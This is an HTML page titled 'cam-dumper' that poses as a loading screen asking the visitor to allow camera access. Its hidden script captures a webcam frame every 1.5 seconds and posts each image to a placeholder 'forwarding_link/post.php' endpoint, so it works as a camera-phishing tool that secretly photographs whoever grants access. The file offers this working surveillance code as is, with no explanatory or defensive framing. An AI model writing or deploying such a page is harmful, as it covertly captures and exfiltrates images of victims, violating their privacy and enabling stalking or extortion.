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cam-dumper.html
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cam-dumper.html
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<!doctype html>
<html>
<head>
<meta name="viewport" content="width=device-width,height=device-height,initial-scale=1.0">
<style>
html {
background-color:white;
font-family:arial;
}
div.load {
width:100%;
height:100%;
display:block;
}
.loader {
display:inherit;
position:absolute;
top:40%;
right:40%;
width:1.5cm;
height:1.5cm;
border-radius:50%;
border:7px solid #eaeaff;
border-top:7px solid #aadfff;
-webkit-animation:spin 2s linear -1s infinite;
}
@-webkit-keyframes spin {
0% {-webkit-transform:rotate(0deg);}
100% {-webkit-transform:rotate(360deg);}
}
.load p {
opacity:0.5;
color:#8a9fa6;
font-size:17px;
text-align:center;
position:relative;
top:200px;
}
</style>
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
</head>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
</div>
<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>
<script>
function post(imgdata){
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function(result){
// call the function that handles the response/results
},
error: function(){
}
});
};
'use strict';
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function(){
context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData); }, 1500);
}
// Load init
init();
</script>
<body>
<div class="load" id="loader">
<p> allow camera access </p>
<div class="loader"></div>
</div>
</body>
</html>